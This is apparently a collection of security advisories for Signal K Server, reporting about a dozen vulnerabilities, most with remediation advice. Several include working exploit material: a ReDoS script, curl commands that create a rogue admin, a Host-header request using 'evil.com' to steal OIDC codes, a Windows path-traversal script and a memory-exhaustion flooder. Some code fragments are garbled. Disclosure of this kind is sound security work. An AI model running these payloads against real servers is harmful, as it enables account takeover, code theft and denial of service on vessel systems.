Summary
The HTTP login endpoints (POST /login and POST /signalk/v1/auth/login) are protected by express-rate-limit (default: 100 attempts per 10-minute window, configurable via HTTPRATELIMITS). The WebSocket login path — sending {login: {username, password}} messages over an established WebSocket connection — calls app.securityStrategy.login() directly without any rate limiting.
An attacker can bypass HTTP rate limiting entirely by opening a WebSocket connection and attempting unlimited password guesses at the speed bcrypt allows (~20 attempts/sec with 10 salt rounds).
Details
Vulnerable code: src/interfaces/ws.ts, function processLoginRequest (lines 753-780)
The function directly calls app.securityStrategy.login(msg.login.username, msg.login.password) with no throttling or attempt tracking.
Rate-limited HTTP path for comparison: src/tokensecurity.ts lines 609-617 apply loginLimiter middleware to the HTTP login routes at line 637.
Steps to Reproduce
1. Start Signal K server with security enabled 2. Open a WebSocket connection to ws://server:3000/signalk/v1/stream?subscribe=none 3. Wait for the hello message 4. Send login attempts in rapid succession: json {"requestId": "1", "login": {"username": "admin", "password": "guess1"}} {"requestId": "2", "login": {"username": "admin", "password": "guess2"}} 5. Observe that all attempts are processed without any 429 response or throttling 6. For comparison, send 100+ HTTP POST requests to /signalk/v1/auth/login — the 101st returns 429
A POC script is available that demonstrates both the HTTP rate limiting working correctly and the WebSocket path accepting unlimited attempts.
Impact
- Credential brute-forcing via the WebSocket protocol at ~20 attempts/sec (bcrypt-limited) - Complete bypass of the HTTP rate limiting defense - A single WebSocket connection is sufficient for unlimited attempts - With multiple parallel connections, throughput multiplies - A 10,000-word dictionary attack completes in ~8 minutes over a single connection
Signal K servers are commonly deployed on boat networks where they may be accessible to other devices on the same LAN.
CWE
CWE-307: Improper Restriction of Excessive Authentication Attempts
Suggested Fix
Track failed login attempts per remote IP in a shared store (or reuse the existing express-rate-limit store) that is checked in both the HTTP login middleware and the processLoginRequest WebSocket handler.
Context
Found while building an open source maritime security scanner. Verified on v2.24.0 (current master).
Discovered by Mark Curphey
Summary The SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the context parameter of a stream subscription, an attacker can force the server's Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server's self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.
Description The vulnerability stems from flawed string-to-regex conversion in signalk-server/src/subscriptionmanager.ts. The contextMatcher() and pathMatcher() functions convert wildcard strings (e.g., ) into regular expressions to match incoming data against client subscriptions.
While the code attempts to escape . and characters, it fails to escape other dangerous regular expression metacharacters—such as +, (, ), ?, [, and ]. Because of this, an attacker can submit a crafted context that contains nested quantifiers (e.g., ([a-z0-9:-]+)+!). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like vessels.urn:mrn:signalk:uuid:d384dc156010), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.
Affected Code Blocks & Files File: signalk-server/src/subscriptionmanager.ts
Affected lines for Context subscriptions (282-300): typescript function contextMatcher(...) { if (subscribeCommand.context) { if (isString(subscribeCommand.context)) { const pattern = subscribeCommand.context .replace(/\./g, '\\.') .replace(/\/g, '.') const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: User input compiled into regex directly return (normalizedDeltaData: WithContext) => matcher.test(normalizedDeltaData.context) ||
Affected lines for Path subscriptions (276-280): typescript function pathMatcher(path: string = '') { const pattern = path.replace(/\./g, '\\.').replace(/\/g, '.') const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: Same issue here return (aPath: string) => matcher.test(aPath) }
Proof of Concept (PoC) Steps
const WebSocket = require('ws'); const http = require('http');
const HOST = 'localhost'; const PORT = 3000; const WSURL = ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none; // Use the API endpoint to measure real server processing lag (requires JSON serialization) const HTTPURL = http://${HOST}:${PORT}/signalk/v1/api/;
console.log([+] Target Server API: ${HTTPURL}); console.log([+] Target WebSocket: ${WSURL});
let requestCount = 0;
// Polling function to check server responsiveness and compute delay function checkServerStatus() { const startTime = Date.now(); requestCount++; const reqId = requestCount; const req = http.get(HTTPURL, (res) => { let size = 0; res.on('data', chunk => { size += chunk.length; }); res.on('end', () => { const latency = Date.now() - startTime; console.log([HTTP #${reqId}] API responded in ${latency}ms (Data size: ${size} bytes)); }); });
req.on('error', (err) => { console.log([HTTP #${reqId} ERROR] Connection refused/dropped.); });
// Timeout if the event loop is blocked req.setTimeout(2000, () => { console.log([HTTP #${reqId} TIMEOUT] Server is completely blocked! Node event loop is frozen.); req.destroy(); }); }
// Start polling every 1 second console.log('[+] Starting baseline HTTP polling...'); const pollInterval = setInterval(checkServerStatus, 1000);
// Wait a few seconds to establish a baseline, then launch the ReDoS setTimeout(() => { console.log(\n[!] Initiating WebSocket connection to launch ReDoS attack...); const ws = new WebSocket(WSURL);
ws.on('open', () => { console.log('[+] WebSocket Connected! Sending catastrophic ReDoS payload...'); // This regex exploits the unescaped Regex metacharacters in context matcher. // It forms: ^vessels\.([a-z0-9:-]+)+!$ // When evaluated against vessels.urn:mrn:signalk:uuid:xxx (38+ characters), // the nested quantifier ([a-z0-9:-]+)+ will result in 2^38 evaluations // because it fails to find the '!' at the end. This reliably freezes V8. const pocPayload = { context: "vessels.([a-z0-9:-]+)+!", announceNewPaths: true, subscribe: [{ path: "" }] };
ws.send(JSON.stringify(pocPayload)); console.log('[!] Payload sent. The server should instantly freeze. Watch the HTTP pollers now...\n'); });
ws.on('error', (err) => { console.error([-] WebSocket Error: ${err.message}); });
}, 3500);
// Automatically shut down the test after 15 seconds setTimeout(() => { console.log(\n[+] Test complete. Stopping pollers.); clearInterval(pollInterval); process.exit(0); }, 15000); <img width="1003" height="524" alt="Screenshot 2026-03-29 101918" src="https://github.com/user-attachments/assets/4b257c4c-f97a-4812-b812-ce2f235b6039" />
Impact
This vulnerability achieves a complete Denial of Service (DoS) against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop.
<img width="999" height="153" alt="Screenshot 2026-03-29 101820" src="https://github.com/user-attachments/assets/54214d1c-252f-4533-ad02-14959ea2bed0" />
Summary
The /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /proto/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.
While this does not allow arbitrary code execution (as the destination path remains protected from proto), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.
Vulnerability Root Cause
File: src/interfaces/applicationData.js (Lines 48-57) const DANGEROUSPATHSEGMENTS = ['proto', 'constructor', 'prototype']
function isPrototypePollutionPath(pathString) { const segments = pathString.split(/[./]/) return segments.some((seg) => DANGEROUSPATHSEGMENTS.includes(seg)) }
function hasPrototypePollutionPatch(patches) { return patches.some( // [!VULNERABLE] Only checks patch.path, completely ignores patch.from (patch) => patch.path && isPrototypePollutionPath(patch.path) ) } At Line 201: if (hasPrototypePollutionPatch(req.body)) { res.status(400).send('invalid patch path') return } jsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves 'from'
Proof of Concept (PoC)
Verify the Developer Guard Works (The Blocked Payload): curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '[{"op": "add", "path": "/proto/polluted", "value": "hacked"}]' Result: 400 Bad Request - invalid patch path
Execute the Bypass (The Malicious Payload): curl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '[{"op": "copy", "from": "/proto/toString", "path": "/stolen"}]' Result: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the proto internal function reference.
<img width="1222" height="230" alt="Screenshot 2026-03-24 150440" src="https://github.com/user-attachments/assets/5ae580fd-284f-4bef-adc8-31b50b8751b6" />
Security Impact This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.
Fixing Arbitrary Prototype Read
The hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields: function hasPrototypePollutionPatch(patches) { return patches.some( (patch) => (patch.path && isPrototypePollutionPath(patch.path)) || (patch.from && isPrototypePollutionPath(patch.from)) ) }
Summary
SignalK Server contains a code-level vulnerability in its OIDC login and logout handlers where the unvalidated HTTP Host header is used to construct the OAuth2 redirecturi. Because the redirectUri configuration is silently unset by default, an attacker spoof the Host header to steal OAuth authorization codes and hijack user sessions in realistic deployments as The OIDC provider will then send the authorization code to whatever domain was injected.
The OIDC specification requires redirecturi to be pre-registered and not derived from untrusted input. Constructing it from the Host header violates this requirement and introduces a trust boundary break. This risk is actively amplified by SignalK's official documentation, which instructs administrators to deploy an Nginx configuration that forwards the vulnerable Host header, exposing production environments.
Vulnerability Root Cause
Two factors combine to create this vulnerability:
Factor 1: redirectUri is optional with an unsafe fallback In types.ts:30, redirectUri is declared as optional export interface OIDCConfig { // ... redirectUri?: string // ← Optional, no default value // ... }
The defaults in types.ts:175-185 do not include a redirectUri: never checks or warns about a missing redirectUri. This means a fully "valid" OIDC configuration can exist without redirectUri, silently activating the vulnerable fallback path. export const OIDCDEFAULTS: Omit<OIDCConfig, 'issuer' | 'clientId' | 'clientSecret'> = { enabled: false, scope: 'openid email profile', defaultPermission: 'readonly', autoCreateUsers: true, providerName: 'SSO Login', autoLogin: false // ← No redirectUri default }
Factor 2: Unsafe Host header usage in two locations Location 1 — Login handler in oidc-auth.ts:278-282: const protocol = req.secure ? 'https' : 'http' const host = req.get('host') // ← Attacker-controlled const redirectUri = oidcConfig.redirectUri || // ← Only safe if explicitly set ${protocol}://${host}${skAuthPrefix}/oidc/callback // ← Uses attacker's Host
This redirectUri flows into createAuthState() → buildAuthorizationUrl() → OIDC provider's redirecturi parameter. The OIDC provider will then send the authorization code to whatever domain was injected.
Location 2 — Logout handler in oidc-auth.ts:513-515: const protocol = req.secure ? 'https' : 'http' const host = req.get('host') // ← Same pattern const fullPostLogoutUri = ${protocol}://${host}${postLogoutRedirect} This constructs the postlogoutredirecturi sent to the OIDC provider's endsessionendpoint, allowing an attacker to redirect the user to an attacker controlled domain after logout.
Official Documentation Enables the Attack
SignalK's own security documentation at docs/security.md:222-228 provides the recommended nginx reverse proxy configuration: The proxysetheader Host $host; directive forwards the client-supplied Host header to the backend unmodified. Without this directive, nginx would replace the Host header with the upstream address (localhost:3000), which would neutralize the injection. location / { proxypass http://localhost:3000; proxysetheader X-Forwarded-For $remoteaddr; proxysetheader X-Forwarded-Proto $scheme; proxysetheader Host $host; # ← Forwards client's Host header to SignalK } Administrators who follow the official documentation are directly enabling this vulnerability behind their reverse proxy.
Proof of Concept Tested against SignalK Server v2.23.0 in Docker with OIDC enabled .
Step 1 — Send login request with injected Host header: $response = Invoke-WebRequest -Uri "http://localhost:3000/signalk/v1/auth/oidc/login" -Headers @{"Host"="evil.com"} -MaximumRedirection 0 -ErrorAction SilentlyContinue -UseBasicParsing
Step 2: Decode and print the injected redirect URL [uri]::UnescapeDataString($response.Headers.Location) <img width="1259" height="211" alt="Screenshot 2026-03-25 171251" src="https://github.com/user-attachments/assets/6e4a9655-639e-48c2-a7f0-06e17ad471ff" />
Impact
Authorization Code Theft: The OIDC provider sends the OAuth authorization code to the attacker's domain instead of the legitimate server. Session Hijack: The attacker can exchange the stolen code for tokens and create a session as the victim user. Logout Redirect Hijack: The logout handler has the same pattern, allowing post-logout redirection to an attacker domain (phishing opportunity).
Summary
The SignalK Server exposes an unauthenticated HTTP endpoint that allows remote attackers to modify navigation data source priorities. This endpoint, accessible via PUT /signalk/v1/api/sourcePriorities, does not enforce authentication or authorization checks and directly assigns user-controlled input to the server configuration.
As a result, attackers can influence which GPS, AIS, or other sensor data sources are trusted by the system. The changes are immediately applied and persisted to disk, allowing the manipulation to survive server restarts.
Affected Component - File: src/serverroutes.ts - Endpoint: PUT /signalk/v1/api/sourcePriorities (also accessible at /skServer/sourcePriorities) - Lines: 1064-1076 - Function: Source priorities configuration handler
Vulnerable Code
typescript // src/serverroutes.ts - Lines 1064-1076 app.put( ${SERVERROUTESPREFIX}/sourcePriorities, (req: Request, res: Response) => { app.config.settings.sourcePriorities = req.body app.activateSourcePriorities() writeSettingsFile(app, app.config.settings, (err: any) => { if (err) { res .status(500) .send('Unable to save to sourcePrefences in settings file') } else { res.json({ result: 'ok' }) } }) } ) Vulnerability Characteristics
Missing Authentication: The endpoint has zero authentication middleware, allowing unauthenticated access from any network-adjacent attacker.
Direct Configuration Assignment: User-supplied request body is directly assigned to app.config.settings.sourcePriorities without validation or sanitization.
Persistent Storage: Malicious configuration is written to disk via writeSettingsFile(), ensuring changes survive server restarts. Live Configuration Update: Changes take effect immediately via activateSourcePriorities(), affecting live navigation data processing.
No Input Validation: No JSON schema validation, type checking, or field allowlisting is performed on the request body.
Impact - Navigation Data Manipulation: Attackers can modify source priorities to change which existing, active source's data is being used
Summary
According to SignalK's security documentation, when a server is first initialized without security enabled, the /skServer/enableSecurity endpoint is intentionally exposed to allow the owner to set up the initial admin account. This initial open access is by design.
However, the critical vulnerability is that this route is never deregistered or disabled after the initial successful setup. Even after the genuine administrator has created their account, restarted the server, and activated token security, the /skServer/enableSecurity route remains perpetually open.
Furthermore, the endpoint explicitly trusts the type field provided in the request body, passing it directly into the server's security configuration without validation. Because the route remains permanently listening, any unauthenticated user can call this endpoint at any time to silently inject a new, fully privileged admin account alongside the legitimate ones.
Vulnerable Root Cause
File: src/serverroutes.ts (Lines 685-754) if (app.securityStrategy.getUsers(getSecurityConfig(app)).length === 0) { app.post( ${SERVERROUTESPREFIX}/enableSecurity, (req: Request, res: Response) => { // ... function addUser(request: Request, response: Response, securityStrategy: SecurityStrategy, config?: any) { // [!VULNERABLE] Passes the entire JSON request body directly to the security strategy securityStrategy.addUser(config, request.body, (err, theConfig) => { // ... }) } } // ... No code disables or removes this route after first execution. // The conditional check on Line 685 only happens during server startup,
File: src/tokensecurity.ts (Lines 980-994) function addUser( theConfig: SecurityConfig, user: { userId: string; type: string; password?: string }, callback: ICallback<SecurityConfig> ): void { // ... const newUser: User = { username: user.userId, type: user.type // [!VULNERABLE] Blindly trusts the injected "type" field }
Proof of Concept (PoC)
Simulate Legitimate Initial Setup: Send a POST request to the open enableSecurity route defining the initial legitimate admin account. curl -X POST http://localhost:3000/skServer/enableSecurity \ -H "Content-Type: application/json" \ -d '{"userId": "admin", "password": "securepassword", "type": "admin"}'
Result: Security enabled
Inject Malicious Admin: Send the exact same request again to create a second, unauthorized admin account. This should ideally be blocked because security was already enabled.
curl -X POST http://localhost:3000/skServer/enableSecurity \ -H "Content-Type: application/json" \ -d '{"userId": "attacker", "password": "password123", "type": "admin"}'
Result: Security enabled (The vulnerability: The server fails to reject the request and creates the second admin).
Verify Both Admins Exist: Login via JWT as the attacker and query the restricted users endpoint.
Get Token for Attacker TOKEN=$(curl -s -X POST http://localhost:3000/signalk/v1/auth/login \ -H "Content-Type: application/json" \ -d '{"username": "attacker", "password": "password123"}' | jq -r .token) Access Admin-Only Data curl -H "Authorization: Bearer $TOKEN" http://localhost:3000/skServer/security/users Result: The system returns both admin and attacker as active Administrators.
<img width="1205" height="469" alt="Screenshot 2026-03-24 145906" src="https://github.com/user-attachments/assets/98855e54-cb78-4786-a9e3-63dcc1bed37a" />
Security Impact An unauthenticated attacker can gain full Administrator access to the SignalK server at any time, allowing them to modify sensitive vessel routing data, alter server configurations, and access restricted endpoints
Summary A Path Traversal vulnerability in SignalK Server's applicationData API allows authenticated users on Windows systems to read, write, and list arbitrary files and directories on the filesystem. The validateAppId() function blocks forward slashes (/) but not backslashes (\), which are treated as directory separators by path.join() on Windows. This enables attackers to escape the intended applicationData directory.
Details Platform: Windows (Linux only allows traversal up a single directory) Authentication Required: Yes (ability to write depends on user's permission)
The vulnerability exists in the validateAppId() function within the applicationData API handler. This function validates the appid parameter but only checks for forward slashes:
javascript // Simplified vulnerable code pattern function validateAppId(appid) { if (appid.includes('/') || appid.length >= 30) { return false; } return true; }
// Later used in path construction const dataPath = path.join(configPath, 'applicationData', 'users', deviceId, appid);
Root Cause: - The validation only blocks / characters - On Windows, path.join() uses the platform's native path separator - Windows treats both / and \ as valid directory separators - Backslash-based traversal sequences like ..\..\.. pass validation - When path.join() processes these on Windows, each .. traverses up one directory level
PoC python #!/usr/bin/env python3
import argparse import http.client import json import sys from urllib.parse import urlparse
PREFIX = "/signalk/v1/applicationData"
def rawget(base, path, token): """ GET using http.client so that '..' and backslashes in the URL are sent literally (requests/urllib would normalise them away). """ parsed = urlparse(base) host, port = parsed.hostname, parsed.port or 80 conn = http.client.HTTPConnection(host, port) conn.request("GET", path, headers={"Authorization": f"Bearer {token}"}) resp = conn.getresponse() status = resp.status body = resp.read().decode("utf-8", errors="replace") conn.close() return status, body
def main(): ap = argparse.ArgumentParser(description="Signal K Windows path traversal PoC") ap.addargument("--target", required=True, help="e.g. http://192.168.1.100:3000") ap.addargument("--token", required=True, help="any valid JWT token") args = ap.parseargs()
base = args.target.rstrip("/")
# On Windows, path.join(configPath, "applicationData", "users", id, appid) # resolves each '..' upward when separated by backslashes. # # Depth from base (configPath/applicationData/users/): # .. → applicationData/users/ (1 level) # ..\.. → applicationData/ (2 levels) # ..\..\.. → configPath (.signalk) (3 levels) # ..\..\..\.. → user home directory (4 levels)
traversals = [ ("..\\..\\..\\", ".signalk config directory"), ("..\\..\\..\\..\\", "user home directory"), ]
for appid, description in traversals: path = f"{PREFIX}/user/{appid}" status, body = rawget(base, path, token, args.token)
print(f"[{status}] {description}") print(f" GET {path}")
if status == 200: try: entries = json.loads(body) for entry in entries: print(f" {entry}") except json.JSONDecodeError: print(f" {body[:200]}") else: print(f" {body[:200]}") print()
if name == "main": main()
Reproduction Steps:
1. Set up SignalK Server on a Windows machine 2. Obtain a valid device or user authentication token 3. Run the PoC script: bash python3 pocwindowsappidtraversal.py --target http://[signalK server IP]:3000 --token <YOURTOKEN>
Recommended Fix
Short-term: 1. Add backslash validation to validateAppId(): javascript function validateAppId(appid) { if (appid.includes('/') || appid.includes('\') || appid.length >= 30) { return false; } return true; }
2. Use path.normalize() and validate that resolved paths remain within the intended directory: javascript const resolvedPath = path.normalize(path.join(baseDir, appid)); if (!resolvedPath.startsWith(path.normalize(baseDir))) { throw new Error('Invalid path'); }
Summary A Command Injection vulnerability allows authenticated users with write permissions to execute arbitrary shell commands on the Signal K server when the set-system-time plugin is enabled. Unauthenticated users can also exploit this vulnerability if security is disabled on the Signal K server. This occurs due to unsafe construction of shell commands when processing navigation.datetime values received via WebSocket delta messages.
Details Product: Signal K set-system-time plugin Repository: https://github.com/SignalK/set-system-time
File: index.js, lines 60-71
javascript stream.onValue(function (datetime) { var child if (process.platform == 'win32') { console.error("Set-system-time supports only linux-like os's") } else { if( ! plugin.useNetworkTime(options) ){ const useSudo = typeof options.sudo === 'undefined' || options.sudo const setDate = date --iso-8601 -u -s "${datetime}" // ← VULNERABLE const command = useSudo ? if sudo -n date &> /dev/null ; then sudo ${setDate} ; else exit 3 ; fi : setDate child = require('childprocess').spawn('sh', ['-c', command]) // ← EXECUTES SHELL
The vulnerability has three components:
1. Unsanitized Input: The datetime value from navigation.datetime Signal K path is directly interpolated into a shell command without validation 2. Shell Execution: The command is executed via spawn('sh', ['-c', command]), which interprets shell metacharacters 3. Sudo Privileges: The plugin can execute with root privileges if sudo is misconfigured, instructions to limit passwordless sudo to the /bin/date binary helps mitigate this but RCE can still be achieved with the privileges of the user that installed it.
PoC Exploitation Requirements
- Signal K server with security enabled, if disabled credentials not required - Valid user credentials with readwrite or admin permissions - set-system-time plugin installed and enabled - Signal K server installed on a Linux OS - Passwordless sudo configured, official instructions will do this for the date command which is enough to satisfy the if condition
Python """ Run provided POC: python3 poc.py --host signalkserverIP -u username -p password
Payload: Creates /tmp/signalk-RCE.txt to prove code execution """
Impact An attacker that has write privileges either through security on the Signal K server being disabled or valid credentials with read/write permissions can execute arbitrary commands on the server with the privileges of the SignalK process or root if sudo is misconfigured. This enables complete system compromise.
Recommendations
- Replace shell-based execution with childprocess.execFile() so user-controlled input is passed as arguments rather than interpreted by a shell.
- Validate that navigation.datetime conforms to an expected ISO-8601 format to improve robustness.
Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the access request system have two related features that when combined by themselves and with an information disclosure vulnerability enable convincing social engineering attacks against administrators. When a device creates an access request, it specifies three fields: clientId, description, and permissions. The SignalK admin UI displays the description field prominently to the administrator when showing pending requests, but the actual permissions field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request admin permissions while providing a description that suggests readonly access. The access request handler trusts the X-Forwarded-For HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses. Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval. Users should upgrade to version 2.19.0 to fix this issue.
Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the appstore interface allow administrators to install npm packages through a REST API endpoint. While the endpoint validates that the package name exists in the npm registry as a known plugin or webapp, the version parameter accepts arbitrary npm version specifiers including URLs. npm supports installing packages from git repositories, GitHub shorthand syntax, and HTTP/HTTPS URLs pointing to tarballs. When npm installs a package, it can automatically execute any postinstall script defined in package.json, enabling arbitrary code execution. The vulnerability exists because npm's version specifier syntax is extremely flexible, and the SignalK code passes the version parameter directly to npm without sanitization. An attacker with admin access can install a package from an attacker-controlled source containing a malicious postinstall script. Version 2.19.0 contains a patch for the issue.
Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 expose two features that can be chained together to steal JWT authentication tokens without any prior authentication. The attack combines WebSocket-based request enumeration with unauthenticated polling of access request status. The first is Unauthenticated WebSocket Request Enumeration: When a WebSocket client connects to the SignalK stream endpoint with the serverevents=all query parameter, the server sends all cached server events including ACCESSREQUEST events that contain details about pending access requests. The startServerEvents function iterates over app.lastServerEvents and writes each cached event to any connected client without verifying authorization level. Since WebSocket connections are allowed for readonly users (which includes unauthenticated users when allowreadonly is true), attackers receive these events containing request IDs, client identifiers, descriptions, requested permissions, and IP addresses. The second is Unauthenticated Token Polling: The access request status endpoint at /signalk/v1/access/requests/:id returns the full state of an access request without requiring authentication. When an administrator approves a request, the response includes the issued JWT token in plaintext. The queryRequest function returns the complete request object including the token field, and the REST endpoint uses readonly authentication, allowing unauthenticated access. An attacker has two paths to exploit these vulnerabilities. Either the attacker creates their own access request (using the IP spoofing vulnerability to craft a convincing spoofed request), then polls their own request ID until an administrator approves it, receiving the JWT token; or the attacker passively monitors the WebSocket stream to discover request IDs from legitimate devices, then polls those IDs and steals the JWT tokens when administrators approve them, hijacking legitimate device credentials. Both paths require zero authentication and enable complete authentication bypass. Version 2.19.0 fixes the underlying issues.
[Note] This is a separate issue from the RCE vulnerability (State Pollution) currently being patched. While related to tokensecurity.js, it involves different endpoints and risks.
Summary An unauthenticated information disclosure vulnerability allows any user to retrieve sensitive system information, including the full SignalK data schema, connected serial devices, and installed analyzer tools. This exposure facilitates reconnaissance for further attacks.
Details The vulnerability stems from the fact that several sensitive API endpoints are not included in the authentication middleware's protection list in src/tokensecurity.js.
Vulnerable Code Analysis: 1. Missing Protection: The tokensecurity.js file defines an array of paths that require authentication. However, the following paths defined in src/serverroutes.ts are missing from this list: - /skServer/serialports - /skServer/availablePaths - /skServer/hasAnalyzer
2. Unrestricted Access: Because they are missing from the protection list, the httpauthorize middleware allows access to these paths even when enableSecurity is set to true.
Exploit Scenario: 1. Reconnaissance: An attacker scans the server for these endpoints. 2. Data Extraction: - Querying /skServer/availablePaths returns the full JSON schema of the vessel's data (e.g., environment.sun.sunrise, navigation.position), allowing the attacker to know exactly what data points are available for targeting. - Querying /skServer/serialports reveals connected hardware (e.g., /dev/ttyUSB0), aiding in physical device targeting.
PoC The following Python script demonstrates the vulnerability by querying the exposed endpoints without any authentication headers.
python import urllib.request import json
BASEURL = "http://localhost:3000"
def checkendpoint(name, path): url = f"{BASEURL}{path}" print(f"[] Checking {name} at {url}...") try: req = urllib.request.Request(url) with urllib.request.urlopen(req) as response: if response.getcode() == 200: print(f"[!] VULNERABLE: {name} is accessible without authentication!") content = response.read().decode('utf-8') print(f" Snippet: {content[:100]}...") else: print(f"[-] Secure: {response.getcode()}") except urllib.error.HTTPError as e: print(f"[-] Secure: {e.code}") except Exception as e: print(f"[-] Error: {e}")
if name == "main": print("--- SignalK Information Disclosure PoC ---") checkendpoint("Serial Ports", "/skServer/serialports") checkendpoint("Available Paths", "/skServer/availablePaths") checkendpoint("Analyzer Check", "/skServer/hasAnalyzer")
Expected Result: The script will output [!] VULNERABLE for all three endpoints, showing snippets of the leaked JSON data.
Impact Verified Information Disclosure: During our verification, we successfully retrieved the following sensitive information without any authentication: 1. Full Data Schema: The /skServer/availablePaths endpoint returned the complete JSON schema of the vessel's data. Example: environment.sun.sunrise, navigation.position Leakage of Internal State: We also observed entries like notifications.security.accessRequest.readwrite.attacker-device-32, which revealed the presence and IDs of pending access requests (traces of our DoS attack), showing that internal server state is exposed. 2. Hardware Configuration: The /skServer/serialports endpoint exposed the list of connected serial devices. 3. System Capabilities: The /skServer/hasAnalyzer endpoint revealed whether traffic analysis tools were installed.
This information allows an attacker to map the system's internal state and capabilities, significantly facilitating further targeted attacks (Reconnaissance).
--- Remediation Update src/tokensecurity.js Add the missing paths to the list of protected routes in src/tokensecurity.js.
javascript // src/tokensecurity.js
// ... existing protected paths ... ;[ '/apps', '/appstore', '/plugins', '/restart', '/runDiscovery', '/security', '/vessel', '/providers', '/settings', '/webapps', '/skServer/inputTest', // ADD THESE LINES: '/skServer/serialports', '/skServer/availablePaths', '/skServer/hasAnalyzer' ].forEach((p) => app.use(${SERVERROUTESPREFIX}${p}, httpauthorize(false)) )
Summary A Denial of Service (DoS) vulnerability allows an unauthenticated attacker to crash the SignalK Server by flooding the access request endpoint (/signalk/v1/access/requests). This causes a "JavaScript heap out of memory" error due to unbounded in-memory storage of request objects.
Details The vulnerability is caused by a lack of rate limiting and improper memory management for incoming access requests.
Vulnerable Code Analysis: 1. In-Memory Storage: In src/requestResponse.js, requests are stored in a simple JavaScript object: javascript const requests = {} 2. Unbounded Growth: The createRequest function adds new requests to this object without checking the current size or count of existing requests. 3. Infrequent Pruning: The pruneRequests function, which removes old requests, runs only once every 15 minutes (pruneIntervalRate). 4. No Rate Limiting: The endpoint /signalk/v1/access/requests accepts POST requests from any client without any rate limiting or authentication (by design, as it's for initial access requests).
Exploit Scenario: 1. An attacker sends a large number of POST requests (e.g., 20,000+) or requests with large payloads to /signalk/v1/access/requests. 2. The server stores every request in the requests object in the Node.js heap. 3. The heap memory usage spikes rapidly. 4. The Node.js process hits its memory limit (default ~1.5GB) and crashes with FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory.
PoC The following Python script reproduces the crash by flooding the server with requests containing 100KB payloads.
python import urllib.request import json import threading import time
Target Configuration TARGETURL = "http://localhost:3000/signalk/v1/access/requests" PAYLOADSIZEMB = 0.1 # 100 KB per request NUMREQUESTS = 20000 # Sufficient to exhaust heap CONCURRENCY = 50
Generate a large string payload LARGESTRING = "A" (int(PAYLOADSIZEMB 1024 1024))
def sendheavyrequest(i): try: payload = { "clientId": f"attacker-device-{i}", "description": LARGESTRING, # Stored in memory! "permissions": "readwrite" } data = json.dumps(payload).encode('utf-8') req = urllib.request.Request( TARGETURL, data=data, headers={'Content-Type': 'application/json'}, method='POST' ) # Short timeout as server might hang urllib.request.urlopen(req, timeout=5) except: pass
def attack(): print(f"[] Starting DoS Attack on {TARGETURL}...") threads = [] for i in range(NUMREQUESTS): t = threading.Thread(target=sendheavyrequest, args=(i,)) threads.append(t) t.start() if len(threads) >= CONCURRENCY: for t in threads: t.join() threads = []
if name == "main": attack()
Expected Result: Monitor the server process. Memory usage will increase rapidly, and the server will eventually terminate with an Out of Memory (OOM) error.
Impact Verified Denial of Service: During our verification using the provided PoC, we observed the following: 1. Rapid Memory Exhaustion: The Node.js process memory usage increased by approximately 30MB within seconds of starting the attack. 2. Service Instability: Continued execution of the PoC quickly leads to a FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory crash. 3. Service Unavailability: The server becomes completely unresponsive and terminates, requiring a manual restart to recover. This allows an unauthenticated attacker to easily take the vessel's navigation data server offline.
--- Remediation 1. Implement Rate Limiting Use a middleware like express-rate-limit to restrict the number of requests from a single IP address to /signalk/v1/access/requests.
2. Limit Request Storage Modify src/requestResponse.js to enforce a maximum number of stored requests (e.g., 100). If the limit is reached, reject new requests or evict the oldest ones immediately.
3. Validate Payload Size Enforce strict limits on the size of the description and other fields in the access request payload.
Summary An unauthenticated attacker can pollute the internal state (restoreFilePath) of the server via the /skServer/validateBackup endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., security.json, package.json), leading to account takeover and Remote Code Execution (RCE).
Details The vulnerability is caused by the use of a module-level global variable restoreFilePath in src/serverroutes.ts, which is shared across all requests.
